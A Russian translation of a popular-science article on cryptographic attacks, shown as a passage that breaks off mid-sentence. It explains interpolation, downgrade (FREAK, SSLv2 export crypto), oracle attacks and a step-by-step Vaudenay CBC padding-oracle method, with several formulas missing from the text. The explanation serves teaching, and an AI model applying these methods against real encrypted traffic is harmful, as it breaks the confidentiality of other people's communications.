  <p> Концепция простая. Даже начинающий разработчик криптосистем, скорее всего, осознает угрозу и соответствующим образом подготовится. Если посмотреть на эволюцию криптографии, такие атаки были неуместны для большинства шифров, начиная с первых улучшенных версий шифра Цезаря, вплоть до упадка полиалфавитных шифров. Такие атаки вернулись только с наступлением современной эры криптографии.</p>
  <p> Это возвращение вызвано двумя факторами. Во-первых, наконец, появились достаточно сложные криптосистемы, где возможность эксплуатации после взлома не была очевидной. Во-вторых, криптография получила такое широкое распространение, что миллионы непрофессионалов каждый день принимали решения, где и какие части криптографии использовать повторно. Прошло некоторое время, прежде чем эксперты осознали возникшие риски и подняли тревогу.</p>
  <p> Запомните атаку с предвычислениями: в конце статьи мы рассмотрим два криптографических примера из реальной жизни, где она сыграла важную роль.</p>
  <h2>Интерполяция</h2>
  <p> Перед вами знаменитый детектив Шерлок Холмс, выполняющий атаку с интерполяцией на незадачливого доктора Ватсона:</p>
  <blockquote>Я сразу догадался, что вы приехали из Афганистана… Ход моих мыслей был таков: «Этот человек по типу — врач, но выправка у него военная. Значит, военный врач. Он только что приехал из тропиков — лицо у него смуглое, но это не природный оттенок его кожи, так как запястья у него гораздо белее. Лицо измождённое, — очевидно, немало натерпелся и перенёс болезнь. Был ранен в левую руку — держит её неподвижно и немножко неестественно. Где же под тропиками военный врач-англичанин мог натерпеться лишений и получить рану? Конечно же, в Афганистане». Весь ход мыслей не занял и секунды. И вот я сказал, что вы приехали из Афганистана, а вы удивились.</blockquote>
  <p> Из каждой улики по отдельности Холмс мог извлечь очень мало информации. Он мог прийти к своему заключению только рассмотрев их все вместе. Аналогично работает атака с интерполяцией, исследуя известные пары открытого и зашифрованного текстов, полученные в результате применения одного и того же ключа. Из каждой пары извлекаются отдельные наблюдения, которые позволяют сделать общий вывод о ключе. Все эти умозаключения расплывчаты и кажутся бесполезными, пока внезапно не достигнут критической массы и не приведут к единственному возможному выводу: каким бы невероятным он ни был, он должен быть истинным. После этого или раскрывается ключ, или процесс расшифровки становится настолько отработанным, что его можно тиражировать.</p>
  <p> Проиллюстрируем на простом примере, как работает интерполяция. Предположим, что мы хотим прочитать личный дневник нашего врага, Боба. Он шифрует каждое число в своём дневнике с помощью простой криптосистемы, о которой узнал из рекламного объявления в журнале «Насмешка над криптографией». Система работает следующим образом: Боб выбирает два числа, которые ему нравятся:  и . С этого момента, чтобы зашифровать любое число , он вычисляет . Например, если Боб выбрал  и , то цифра  зашифруется как .</p>
  <p> Предположим, 28 декабря мы заметили, что Боб что-то царапает в своём дневнике. Когда он закончит, мы незаметно возьмём его и посмотрим последнюю запись:</p>
  <blockquote>Дата: <code>235/520</code><br /> <br /> Дорогой дневник,<br /> <br /> Сегодня был хороший день. Через <code>64</code> дня у меня свидание с Алисой, которая живёт в квартире <code>843</code>. Я действительно думаю, что она может быть <code>26</code>!</blockquote>
  <p> Поскольку мы очень серьёзно намерены проследить за Бобом на его свидании (в этом сценарии нам по 15 лет), то критически важно узнать дату, а также адрес Алисы. К счастью, мы замечаем, что криптосистема Боба уязвима для атаки интерполяции. Мы можем и не знать  и , но мы знаем сегодняшнюю дату, поэтому у нас есть две пары «открытый текст — шифротекст». А именно, мы знаем, что  шифруется в , а  — в . Что и запишем:</p>
  <figure class="m_original">
    <img src="https://teletype.in/files/a0/a0a24007-8a41-41ed-8f6d-8046173bc083.png" width="216" />
  </figure>
  <p></p>
  <p> Поскольку нам 15 лет, мы уже знаем о системе двух уравнений с двумя неизвестными, чего в данной ситуации достаточно для нахождения  и  без особых проблем. Каждая пара «открытый текст-шифротекст» накладывает ограничение на ключ Боба, и двух ограничений вместе достаточно, чтобы полностью восстановить ключ. В нашем примере ответ  и (при х, так что <code>26</code> в дневнике соответствует слову &#x27;the one&#x27;, то есть «та самая» — прим. пер.).</p>
  <p> Интерполяционные атаки, конечно, не ограничиваются такими простыми примерами. Каждая криптосистема, которая сводится к хорошо понятному математическому объекту и списку параметров, подвергается риску интерполяционной атаки — чем более понятен объект, тем выше риск.</p>
  <p> Новички часто жалуются, что криптография — это «искусство проектирования как можно более уродливых вещей». Вероятно, во многом виноваты атаки интерполяции. Боб может или использовать элегантный математический дизайн, или сохранить конфиденциальность свидания с Алисой — но увы, обычно нельзя получить и то, и другое. Это станет предельно ясно, когда мы в конце концов перейдём к теме криптографии с открытым ключом.</p>
  <h2>Кросс-протокол/понижение</h2>
  <figure class="m_custom">
    <img src="https://habrastorage.org/getpro/habr/post_images/9d5/4b0/0f9/9d54b00f9d9424b1d12006822ca1f727.jpg" width="190" />
  </figure>
  <p>В фильме «Иллюзия обмана» (2013) группа иллюзионистов пытается обманом выманить всё состояние коррумпированного страхового магната Артура Тресслера. Чтобы получить доступ к банковскому счёту Артура, иллюзионисты должны либо представить его имя пользователя и пароль, либо заставить его лично появиться в банке и принять участие в схеме.</p>
  <p> Оба варианта очень трудны; ребята привыкли выступать на сцене, а не участвовать в операциях спецслужб. Поэтому они выбирают третий возможный вариант: их сообщник звонит в банк и выдаёт себя за Артура. Банк задаёт несколько вопросов для проверки личности, таких как имя дяди и имя первого питомца; наши герои заранее <a href="https://www.youtube.com/watch?v=95jHwnAhHgU" target="_blank">легко выуживают у Артура эту информацию с помощью ловкой социальной инженерии</a>. С этого момента отличная безопасность пароля больше не имеет значения.</p>
  <p> (Согласно городской легенде, которую мы лично проверили и подтвердили, криптограф Эли Бихэм однажды столкнулся с кассиром банка, который настаивал на установке секретного вопроса. Когда кассир спросил имя бабушки по материнской линии, Бихэм начал диктовать: «Заглавная X, маленькая y, три…»).</p>
  <p> Так же и в криптографии, если для защиты одного и того же актива параллельно используются два криптографических протокола, при этом один намного слабее другого. Итоговая система становится уязвимой для кросс-протокольной атаки, когда атакуется более слабый протокол, чтобы добраться до приза, не трогая более сильный.</p>
  <p> В некоторых сложных случаях недостаточно просто связаться с сервером по более слабому протоколу, а требуется невольное участия легитимного клиента. Это можно организовать с помощью так называемой атаки на понижение (downgrade). Для понимания этой атаки предположим, что у наших иллюзионистов более сложная задача, чем в фильме. Предположим, что у сотрудника банка (кассир) и Артура возникли некие непредвиденные обстоятельства, в результате чего произошёл такой диалог:</p>
  <blockquote><strong>Взломщик:</strong> Алло? Это Артур Тресслер. Я хотел бы восстановить свой пароль.<br /> <br /> <strong>Кассир:</strong> Отлично. Пожалуйста, взгляните в свою персональную книгу секретных кодов, страница 28, слово 3. Все следующие сообщения будут зашифрованы с помощью этого конкретного слова в качестве ключа. PQJGH. LOTJNAM PGGY MXVRL ZZLQ SRIU HHNMLPPPV…<br /> <br /> <strong>Взломщик:</strong> Эй-эй, погоди, погоди. Это действительно необходимо? Мы не можем просто говорить как нормальные люди?<br /> <br /> <strong>Кассир:</strong> Не советую этого делать.<br /> <br /> <strong>Взломщик:</strong> Я просто… слушай, у меня был паршивый день, ясно? Я VIP-клиент и не в настроении копаться в этих дурацких кодовых книгах.<br /> <br /> <strong>Кассир:</strong> Хорошо. Если вы настаиваете, мистер Тресслер. Что вам угодно?<br /> <br /> <strong>Взломщик:</strong> Пожалуйста, я хотел бы передать все свои деньги в Национальный фонд жертв Артура Тресслера.<br /> <br /> (Пауза).<br /> <br /> <strong>Кассир:</strong> Так, понятно. Пожалуйста, укажите свой пин-код для крупных транзакций.<br /> <br /> <strong>Взломщик:</strong> Мой что?<br /> <br /> <strong>Кассир:</strong> По вашей личной просьбе транзакции такого размера требуют ввода пин-кода для крупных транзакций. Этот код выдали вам при открытии счёта.<br /> <br /> <strong>Взломщик:</strong>… Я его потерял. Это действительно необходимо? Разве вы не можете просто одобрить сделку?<br /> <br /> <strong>Кассир:</strong> Нет. Прошу прощения, мистер Тресслер. Опять же, это мера безопасности, которую вы просили. Если хотите, можем выслать новый пин-код на почтовый ящик.</blockquote>
  <p> Наши герои откладывают операцию. Они прослушивают несколько крупных транзакций Тресслера, надеясь услышать пин-код; но каждый раз разговор превращается в зашифрованную тарабарщину, прежде чем там звучит что-то интересное. Наконец, в один прекрасный день приводят план в действие. Они терпеливо ждут момента, когда Тресслер должен совершить крупную транзакцию по телефону, он подключается к линии, а затем…</p>
  <blockquote><strong>Тресслер:</strong> Здравствуйте. Я хотел бы оформить удалённую транзакцию, пожалуйста.<br /> <br /> <strong>Кассир:</strong> Отлично. Пожалуйста, взгляните в свою персональную книгу секретных кодов, страница…<br /> <br /> (Взломщик нажимает на кнопку; голос кассира превращается в неразборчивый шум).<br /> <br /> <strong>Кассир:</strong> — #@$#@$#*@$$@#* будет зашифрован с этим словом в качестве ключа. AAAYRR PLRQRZ MMNJK LOJBAN…<br /> <br /> <strong>Тресслер:</strong> Простите, я не совсем понял. Ещё раз? На какой странице? Какое слово?<br /> <br /> <strong>Кассир:</strong> Это страница @#$@#*$)#*#@()#@$(#@*$(#@*.<br /> <br /> <strong>Тресслер:</strong> Что?<br /> <br /> <strong>Кассир:</strong> Слово номер двадцать @$#@$#%#$.<br /> <br /> <strong>Тресслер:</strong> Серьёзно! Да хватит уже! Вы со своим протоколом безопасности — это какой-то цирк. Я знаю, что ты можешь просто нормально поговорить со мной.<br /> <br /> <strong>Кассир:</strong> Я не советую…<br /> <br /> <strong>Тресслер:</strong> А я тебе не советую впустую тратить моё время. Не хочу больше слышать об этом, пока не исправите проблемы со своей телефонной линией. Можем мы оформить эту сделку или нет?<br /> <br /> <strong>Кассир:</strong>… да. Хорошо. Что вам угодно?<br /> <br /> <strong>Тресслер:</strong> Я хотел бы перевести $20 000 в компанию Lord Business Investments, номер счёта…<br /> <br /> <strong>Кассир:</strong> Минутку, пожалуйста. Это большая сделка. Пожалуйста, укажите свой пин-код для крупных транзакций.<br /> <br /> <strong>Тресслер:</strong> Что? А, точно. 1234.</blockquote>
  <p> Вот атака на понижение. Более слабый протокол «просто говорите прямо» предполагался как <em>опция</em> на крайний случай. И всё же мы здесь.</p>
  <p> Вы можете задать вопрос, кто в здравом уме будет проектировать реальную систему типа «безопасно, пока не попросить об обратном», какая описана выше. Но так же, как вымышленный банк идёт на риск, чтобы сохранить клиентов, которые не любят криптографию, так и системы в целом часто склоняются к требованиям, которые безразличны или даже откровенно враждебны к безопасности.</p>
  <p> Именно такая история произошла с протоколом SSLv2 в 1995 году. Правительство США давно начало рассматривать криптографию как оружие, которое лучше держать подальше от внешних и внутренних врагов. Фрагменты кода по отдельности одобряли для экспорта из США, часто при условии намеренного ослабления алгоритма. Компании Netscape, разработчику самого популярного браузера Netscape Navigator, дали разрешение на SSLv2 только с изначально уязвимым ключом RSA 512 бит (и 40 бит для RC4).</p>
  <p> К концу тысячелетия правила смягчили и доступ к современному шифрованию стал широко доступным. Тем не менее, клиенты и серверы в течение многих лет поддерживали ослабленную «экспортную» криптографию из-за той же инерции, из-за которой сохраняется поддержка любой устаревшей системы. Клиенты полагали, что могут встретить сервер, который не поддерживает ничего другого. Серверы делали то же самое. Конечно, протокол SSL диктует, что клиенты и серверы никогда не должны использовать слабый протокол, когда доступен лучший. Но та же предпосылка действовала для Тресслера и его банка.</p>
  <p> Эта теория нашла применение в двух громких атаках, которые одна за другой потрясли безопасность протокола SSL в 2015 году, обе обнаружены исследователями Microsoft и <a href="https://www.inria.fr/en/" target="_blank">INRIA</a>. Сначала в феврале разгласили детали атаки FREAK, а через три месяца — ещё одной подобной атаки под названием Logjam, которую мы обсудим более подробно, когда перейдём к атакам на криптографию с открытым ключом.</p>
  <figure class="m_custom">
    <img src="https://habrastorage.org/getpro/habr/post_images/3cb/8b2/9d4/3cb8b29d407d2a6e563d81f829bd1e20.png" width="250" />
  </figure>
  <p>Уязвимость <a href="https://mitls.org/pages/attacks/SMACK" target="_blank">FREAK</a> (также известная как &quot;Smack TLS&quot;) проявилась, когда исследователи проанализировали реализации клиента/сервера TLS и обнаружили любопытную ошибку. В этих реализациях, если клиент даже не просит использовать слабую экспортную криптографию, но сервер всё равно отвечает такими ключами — клиент говорит «Ну ладно» и переходит на слабый набор шифров.</p>
  <p> В то время все считали экспортную криптографию устаревшей и запретной для использования, поэтому атака стала настоящим шоком и затронула многие важные домены, включая сайты Белого дома, налогового управления США и АНБ. Хуже того, оказалось, что многие уязвимые серверы оптимизировали производительность, повторно используя одни и те же ключи, а не создавая новые для каждого сеанса. Это позволило после понижения протокола провести ещё и атаку с предвычислением: взлом одного ключа оставался относительно дорогим ($100 и 12 часов на момент публикации), но практическая стоимость атаки на соединение значительно снизилась. Достаточно один раз подобрать серверный ключ — и взломать шифры для всех последующих соединений с этого момента.</p>
  <h4>И прежде чем двигаться дальше, нужно упомянуть одну продвинутую атаку…</h4>
  <h2>Атака оракула</h2>
  <figure class="m_custom">
    <img src="https://habrastorage.org/getpro/habr/post_images/576/320/dcc/576320dcc95c1752ebd1ee8e3759d701.png" width="175" />
  </figure>
  <p><a href="https://moxie.org/" target="_blank">Мокси Марлинспайк</a> наиболее известен как отец кросс-платформенного криптомессенджера Signal; но лично нам нравится одно из его менее известных нововведений — <a href="https://moxie.org/blog/the-cryptographic-doom-principle/" target="_blank">принцип криптографической обречённости</a> (Cryptographic Doom Principle). Слегка перефразируя, можно сказать так: «Если протокол выполняет <em>любую</em> криптографическую операцию над сообщением из потенциально вредоносного источника и ведёт себя по-разному в зависимости от результата, он обречён». Или в более резкой форме: «Не бери у врага информацию на обработку, а если пришлось, то хотя бы не показывай результат».</p>
  <p> Оставим в стороне переполнения буфера, инъекции команд и тому подобное; они выходят за рамки этого обсуждения. Нарушение «принципа обречённости» приводит к серьёзным взломам криптографии из-за того, что протокол ведёт себя в точности так, как положено.</p>
  <p> Для примера возьмём выдуманную конструкцию с уязвимым шифром подстановки, а затем продемонстрируем возможную атаку. Хотя мы уже видели атаку на шифр подстановки с помощью частотного анализа, это не просто «другой способ сломать тот же шифр». Наоборот, атаки оракула — гораздо более современное изобретение, применимое к множеству ситуаций, когда частотный анализ терпит неудачу, и мы увидим демонстрацию этого в следующем разделе. Здесь простой шифр выбран только для того, чтобы сделать пример более понятным.</p>
  <p> Итак, Алиса и Боб общаются с помощью простого шифра подстановки, используя ключ, известный только им. Они очень строго относятся к длине сообщений: их длина ровно 20 символов. Поэтому они согласились, что если кто-то хочет отправить более короткое сообщение, то должен добавить какой-то фиктивный текст в конец сообщения, чтобы оно было ровно 20 символов. После некоторого обсуждения они решили, что будут принимать только следующие фиктивные тексты: <code>a</code>, <code>bb</code>, <code>ccc</code>, <code>dddd</code> и т. д. Таким образом, известен фиктивный текст любой необходимой длины.</p>
  <p> Когда Алиса или Боб получает сообщение, они сначала проверяют, что сообщение имеет правильную длину (20 символов), а суффикс — правильный фиктивный текст. Если это не так, то отвечают соответствующим сообщением об ошибке. Если длина текста и фиктивный текст в порядке, получатель читает само сообщение и отправляет зашифрованный ответ.</p>
  <p> В процессе атаки злоумышленник выдаёт себя за Боба и отправляет поддельные сообщения Алисе. Сообщения — полная ерунда — у злоумышленника нет ключа, и поэтому он не может подделать значимое сообщение. Но поскольку протокол нарушает принцип обречённости, злоумышленник всё равно может заманить Алису в ловушку, так что она раскроет информацию о ключе, как показано ниже.</p>
  <blockquote><strong>Взломщик:</strong> <code>PREWF ZHJKL MMMN. LA</code><br /> <br /> <strong>Алиса:</strong> Неверный фиктивный текст.<br /> <br /> <strong>Взломщик:</strong> <code>PREWF ZHJKL MMMN. LB</code><br /> <br /> <strong>Алиса:</strong> Неверный фиктивный текст.<br /> <br /> <strong>Взломщик:</strong> <code>PREWF ZHJKL MMMN. LC</code><br /> <br /> <strong>Алиса:</strong> <code>ILCT? TLCT RUWO PUT KCAW CPS OWPOW!</code></blockquote>
  <p><em>Взломщик понятия не имеет, что только что сказала Алиса, но отмечает, что символ <code>C</code> должен соответствовать <code>a</code>, поскольку Алиса приняла фиктивный текст.</em></p>
  <blockquote><strong>Взломщик:</strong> <code>REWF ZHJKL MMMN. LAA</code><br /> <br /> <strong>Алиса:</strong> Неверный фиктивный текст.<br /> <br /> <strong>Взломщик:</strong> <code>REWF ZHJKL MMMN. LBB</code><br /> <br /> <strong>Алиса:</strong> Неверный фиктивный текст.<br /> <br /> <em>После ряда попыток…</em><br /> <br /> <strong>Взломщик:</strong> <code>REWF ZHJKL MMMN. LGG</code><br /> <br /> <strong>Алиса:</strong> Неверный фиктивный текст.<br /> <br /> <strong>Взломщик:</strong> <code>REWF ZHJKL MMMN. LHH</code><br /> <br /> <strong>Алиса:</strong> <code>TLQO JWCRO FQAW SUY LCR C OWQXYJW. IW PWWR TU TCFA CHUYT TLQO JWFCTQUPOLQZ.</code></blockquote>
  <p><em>Опять же, взломщик понятия не имеет, что только что сказала Алиса, но отмечает, что H должен сопоставляться с b, поскольку Алиса приняла фиктивный текст.</em></p>
  <p> И так далее, пока злоумышленник не узнает значение каждого символа.</p>
  <p> На первый взгляд, метод напоминает атаку на основе подобранного открытого текста. В конце концов, злоумышленник подбирает шифротексты, а сервер послушно их обрабатывает. Основное различие, которое делает эти атаки жизнеспособными в реальном мире, состоит в том, что злоумышленнику не требуется доступ к фактической расшифровке — достаточно ответа сервера, даже такого безобидного, как «Неправильный фиктивный текст».</p>
  <p> Хотя эта конкретная атака поучительна, не следует слишком зацикливаться на специфике схемы «фиктивного текста», конкретной используемой криптосистеме или точной последовательности сообщений, отправленных злоумышленником. Основная идея заключается в том, как Алиса реагирует по-разному, основываясь на свойствах открытого текста, и делает это без проверки того, что соответствующий зашифрованный текст действительно получен от доверенной стороны. Таким образом, Алиса позволяет злоумышленнику выжать секретную информацию из её ответов.</p>
  <p> В этом сценарии можно многое изменить. Символы, на которые реагирует Алиса, или саму разницу в её поведении, или даже используемую криптосистему. Но принцип останется тем же, и атака в целом останется жизнеспособной в той или иной форме. Базовая реализация этой атаки помогла обнаружить несколько ошибок безопасности, которые мы скоро рассмотрим; но прежде следует усвоить некоторые теоретические уроки. Как использовать этот выдуманный «сценарий Алисы» в атаке, которая способна работать на реальном современном шифре? Возможно ли это вообще, даже в теории?</p>
  <p> В 1998 году швейцарский криптограф Даниель Блайхенбахер (Daniel Bleichenbacher) ответил на этот вопрос утвердительно. Он продемонстрировал атаку оракула в широко используемой криптосистеме с открытым ключом RSA, при использовании определённой схемы сообщений. В некоторых реализациях RSA сервер отвечает разными сообщениями об ошибках, в зависимости от того, соответствует открытый текст схеме или нет; этого было достаточно, чтобы провести атаку.</p>
  <p> Четыре года спустя, в 2002 году, французский криптограф Серж Воденэ (Serge Vaudenay) продемонстрировал атаку оракула, почти идентичную той, что описана выше в сценарии Алисы — за исключением того, что вместо выдуманного шифра он взломал целый респектабельный класс современных шифров, которые люди действительно используют. В частности, атака Воденэ нацелена на шифры с фиксированным размером ввода («блочные шифры»), когда они используются в так называемом «режиме шифрования CBC» и с определённой популярной схемой заполнения, в основном эквивалентной той, что в сценарии Алисы.</p>
  <p> Также в 2002 году американский криптограф Джон Келси (John Kelsey) — соавтор <a href="https://en.wikipedia.org/wiki/Twofish" target="_blank">Twofish</a> — предложил различные атаки оракула на системы, которые сжимают сообщения, а затем шифруют их. Наиболее заметной среди них была атака, которая использовало то, что часто можно вывести исходную длину открытого текста от длины зашифрованного текста. В теории это позволяет провести атаку оракула, которая восстанавливает части исходного открытого текста.</p>
  <p> Далее мы приводим более подробное описание атак Воденэ и Келси (дадим более подробное описание атаки Блайхенбахера, когда перейдём к атакам на криптографию с открытым ключом). Несмотря на все наши усилия, текст становится несколько техническим; поэтому, если вышеизложенного для вас достаточно, пропустите следующие два раздела.</p>
  <h2>Атака Воденэ</h2>
  <p> Чтобы понять атаку Воденэ, сначала нужно немного подробнее поговорить о блочных шифрах и режимах шифрования. «Блочный шифр» — это, как уже упоминалось, шифр, который принимает ключ и ввод определённой фиксированной длины («длина блока») и выдаёт зашифрованный блок той же длины. Блочные шифры широко используются и считаются относительно безопасными. Ныне вышедший на пенсию DES, который считают первым современным шифром, был блочным. Как упоминалось выше, то же самое верно и для AES, широко используемого сегодня.</p>
  <p> К сожалению, блочные шифры имеют одну вопиющую слабость. Типичный размер блока составляет 128 бит, или 16 символов. Очевидно, что современная криптография требует работать с входными данными большего размера, и именно здесь появляются режимы шифрования. Режим шифрования — по сути хак: это способ каким-то образом применить блочный шифр, который принимает входные данные только определённого размера, к входным данным произвольной длины.</p>
  <p> Атака Воденэ ориентирована на популярный режим работы CBC (Cipher Block Chaining, режим сцепления блоков шифротекста). Атака рассматривает базовый блочный шифр как волшебный неприступный чёрный ящик и полностью обходит его безопасность.</p>
  <p> Вот диаграмма, которая показывает, как работает режим CBC:</p>
  <figure class="m_original">
    <img src="https://habrastorage.org/getpro/habr/post_images/f05/257/c5f/f05257c5f1c94c3ee67bf81253166f8c.png" width="601" />
  </figure>
  <figure class="m_original">
    <img src="https://habrastorage.org/getpro/habr/post_images/1b6/61c/1ec/1b661c1ec239b4400dcb7df7589ed8ea.png" width="601" />
  </figure>
  <p>Обведённый плюс означает операцию XOR (исключающее «ИЛИ»). Например, второй блок шифротекста получен:</p>
  <ol>
    <li>Выполнением операции XOR на втором блоке открытого текста с первым блоком шифротекста.<br /> </li>
    <li>Шифрованием полученного блока с помощью блочного шифра, используя ключ.</li>
  </ol>
  <p> Поскольку CBC так интенсивно использует бинарную операцию XOR, давайте воспользуемся моментом, чтобы вспомнить некоторые её свойства:</p>
  <ul>
    <li>Идемпотентность: </li>
    <li>Коммутативность: </li>
    <li>Ассоциативность: </li>
    <li>Самообратимость: </li>
    <li>Побайтовость: байт n из  = (байт n из )  (байт n из )</li>
  </ul>
  <p> Как правило, эти свойства подразумевают, что если у нас есть уравнение, включающее операции XOR и одно неизвестное, его можно решить. Например, если мы знаем, что  с неизвестным  и известными  и , то мы можем полагаться на вышеупомянутые свойства выше, чтобы решить уравнение для . Применив XOR с обеих сторон уравнения с , мы получаем . Через мгновение всё это станет очень актуальным.</p>
  <p> Между нашим сценарием Алисы и атакой Воденэ есть два незначительных различия и одно главное отличие. Два незначительные:</p>
  <ul>
    <li>В сценарии Алиса ожидала, что открытые тексты заканчиваются символами <code>a</code>, <code>bb</code>, <code>ccc</code> и так далее. В атаке Воденэ жертва вместо этого ожидает, что открытые тексты заканчиваются N раз байтом N (то есть шестнадцатеричным 01 или 02 02, или 03 03 03 и так далее). Это чисто косметическое различие.<br /> </li>
    <li>В сценарии Алисы было легко сказать, приняла ли Алиса сообщение, по ответу «Неправильный фиктивный текст». В атаке Воденэ требуется больший анализ и важна точная реализация на стороне жертвы; но для краткости возьмём за данность, что этот анализ всё ещё возможен.</li>
  </ul>
  <p> Главное различие:</p>
  <ul>
    <li>Поскольку мы используем не одну и ту же криптосистему, связь между контролируемыми злоумышленником байтами шифрованного текста и секретами (ключ и открытый текст), очевидно, будет другой. Поэтому злоумышленнику придётся использовать иную стратегию при создании шифротекстов и интерпретации ответов сервера.</li>
  </ul>
  <p> Это главное различие — последний фрагмент головоломки, чтобы понять атаку Воденэ, поэтому давайте на мгновение подумаем о том, почему и как вообще можно организовать атаку оракула на CBC.</p>
  <p> Предположим, дан шифротекст CBC из 247 блоков, и мы хотим его расшифровать. Мы можем отправлять на сервер поддельные сообщения, как раньше могли отправлять поддельные сообщения Алисе. Сервер будет для нас расшифровывать сообщения, но не будет показывать расшифровку — вместо этого, опять же, как и в случае с Алисой, сервер сообщит только один бит информации: у открытого текста допустимое заполнение или нет.</p>
  <p> Учтите, что в сценарии Алисы у нас были следующие отношения:</p>
  <figure class="m_original">
    <img src="https://teletype.in/files/c0/c076b167-7452-4e0e-b2b0-d8ef522d26f1.png" width="440" />
  </figure>
  <p> Назовём это «уравнением Алисы». Мы контролировали шифротекст; сервер (Алиса) сливал расплывчатую информацию о полученном открытом тексте; и это позволило нам вывести информацию о последнем факторе — ключе. По аналогии, если мы сможем найти такую связь для сценария CBC, то могли бы извлечь некоторую секретную информацию и там.</p>
  <p> К счастью, там действительно существуют отношения, которые мы можем использовать. Рассмотрим выходные данные конечного вызова расшифровки блочного шифра и обозначим эти данные как . Также обозначим блоки открытого текста  и блоки шифротекста . Взгляните ещё раз на диаграмму CBC и обратите внимание, что получается:</p>
  <figure class="m_original">
    <img src="https://teletype.in/files/96/962c3e27-ba46-4265-a6c5-3a84c07e488a.png" width="157" />
  </figure>
  <p></p>
  <p> Назовём это «уравнением CBC».</p>
  <p> В сценарии Алисы, контролируя шифротекст и наблюдая за утечкой информации о соответствующем открытом тексте, мы смогли организовать атаку, которая восстановила третий член уравнения — ключ. В сценарии CBC мы также контролируем шифротекст и наблюдаем утечки информации по соответствующему открытому тексту. Если аналогия имеет место, мы сможем получить информацию о . Предположим, мы действительно восстановили , что тогда? Ну, тогда мы можем сразу вывести весь последний блок открытого текста просто введя  (который у нас есть) и  полученный  в уравнение CBC.</p>
  <p></p>
  <p></p>
  <p> Теперь используем свойство побайтовости XOR:</p>
  <p></p>
  <figure class="m_original">
    <img src="https://teletype.in/files/75/756b8bad-f2c8-41fb-bada-0b0070f57622.png" width="465" />
  </figure>
  <p></p>
  <p> Мы знаем первый и третий член. И мы уже видели, что это позволяет восстановить оставшийся член — последний байт из :</p>
  <p></p>
  <figure class="m_original">
    <img src="https://teletype.in/files/bb/bb7c91fa-92a5-4c58-93f2-c93c579537ee.png" width="475" />
  </figure>
  <p></p>
  <p> Это также даёт нам последний байт конечного блока открытого текста через уравнение CBC и свойство побайтовости.</p>
  <p> Мы могли бы закончить на этом и удовлетвориться тем, что провели атаку на теоретически стойкий шифр. Но на самом деле мы можем сделать гораздо больше: мы можем действительно восстановить весь текст. Это требует определённого трюка, которого не было в оригинальном сценарии Алисы и он не входит в обязательные условия атаки оракула, но метод всё равно стоит изучить. Чтобы понять его, сначала обратите внимание, что в результате выведения правильного значения последнего байта </p>
  <p> у нас появилась новая способность. Теперь при подделке шифротекстов мы можем управлять последним байтом соответствующего открытого текста. Опять же, это связано с уравнением CBC и свойством побайтовости:</p>
  <figure class="m_original">
    <img src="https://teletype.in/files/20/20f89eb1-09d0-4e09-9d47-1857fbd13f1a.png" width="579" />
  </figure>
  <p></p>
  <p> Поскольку мы теперь знаем второй член, то можем использовать наш контроль над первым для управления третьим. Мы просто вычисляем:</p>
  <p></p>
  <figure class="m_original">
    <img src="https://teletype.in/files/ea/ea32ef60-b9f9-4ab7-8832-4ea7ff205920.png" width="765" />
  </figure>
  <p></p>
  <p> Раньше мы не могли этого сделать, потому что у нас ещё не было последнего байта. Как это нам поможет? Предположим, что теперь мы будем создавать все шифротексты так, что в соответствующих открытых текстах последний байт равен <code>02</code>. Теперь сервер принимает заполнение только в том случае, если открытый текст заканчивается на <code>02 02</code>. Поскольку мы исправили последний байт, это произойдёт только в том случае, если предпоследний байт открытого текста также равен 02. Мы продолжаем посылать поддельные шифротекстовые блоки, изменяя предпоследний байт, пока сервер не примет заполнение для одного из них. В этот момент мы получаем:</p>
  <figure class="m_original">
    <img src="https://teletype.in/files/a0/a02158b8-e912-4651-ac69-6c8c148aaa74.png" width="636" />
  </figure>
  <p></p>
  <p> И мы восстанавливаем предпоследний байт  точно так же, как восстановили последний. Продолжаем в том же духе: исправляем последние два байта открытого текста на <code>03 03</code>, повторяем эту атаку для третьего с конца байта и так далее, в конечном итоге полностью восстанавливая.</p>
  <p> Что насчёт остального текста? Обратите внимание, что значение  на самом деле является . Мы можем поставить любой другой блок вместо , и атака всё равно будет успешной. Фактически, мы можем попросить сервер сделать  для любых данных. В этот момент игра окончена — мы можем расшифровать любой шифротекст (ещё раз взгляните на диаграмму расшифровки CBC, чтобы убедиться в этом; и обратите внимание, что вектор IV общедоступен).</p>
  <p> Этот конкретный метод играет решающую роль в атаке оракула, с которой мы столкнёмся позже.</p>
  <h2>Атака Келси</h2>
  <p> Близкий нам по духу Джон Келси излагал принципы, лежащие в основе многих возможных атак, а не только подробные детали конкретной атаки на конкретный шифр. Его <a href="https://www.iacr.org/cryptodb/archive/2002/FSE/3091/3091.pdf" target="_blank">статья 2002 года</a> — это исследование возможных атак на зашифрованные сжатые данные. Вы думали, что для проведения атаки недостаточно одной только информации, что данные были сжаты перед шифрованием? Оказывается, достаточно.</p>
  <p> Этот удивительный результат обусловлен двумя принципами. Во-первых, существует сильная корреляция между длиной открытого текста и длиной шифротекста; для многих шифров точное равенство. Во-вторых, когда выполняется сжатие, существует также сильная корреляция между длиной сжатого сообщения и степенью «шумности» открытого текста, то есть доли неповторяющихся символов (технический термин — «большая энтропия»).</p>
  <p> Чтобы увидеть принцип в действии, рассмотрим два открытых текста:</p>
  <blockquote><strong>Открытый текст 1:</strong> <code>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</code><br /> <br /> <strong>Открытый текст 2:</strong> <code>ATVXCAGTRSVPTVVULSJQHGEYCMQPCRQBGCYIXCFJGJ</code></blockquote>
  <p> Предположим, оба открытых текста сжаты, а затем зашифрованы. Вы получаете два результирующих шифротекста и должны угадать, какой шифротекст соответствует какому открытому тексту:</p>
  <blockquote><strong>Шифротекст 1:</strong> <code>PVOVEYBPJDPVANEAWVGCIUWAABCIYIKOOURMYDTA</code><br /> <br /> <strong>Шифротекст 2:</strong> <code>DWKJZXYU</code></blockquote>
  <p> Ответ ясен. Среди открытых текстов только открытый текст 1 мог быть сжат до скудной длины второго шифротекста. Мы выяснили это, ничего не зная об алгоритме сжатия, ключе шифрования или даже самом шифре. По сравнению с иерархией возможных криптографических атак это своего рода безумие.</p>
  <p> Келси далее указывает, что при определённых необычных обстоятельствах этот принцип также можно использовать для проведения атаки оракула. В частности, он описывает, как злоумышленник может восстановить секретный открытый текст, если может заставить сервер шифровать данные формы (открытый текст, за которым следует , пока он контролирует  и может как-то проверять длину зашифрованного результата.</p>
  <p> Опять же, как и в других атаках оракула, у нас есть соотношение:</p>
  <figure class="m_original">
    <img src="https://teletype.in/files/da/dacfe6f0-8795-49e3-bc5c-a8d540dc7146.png" width="613" />
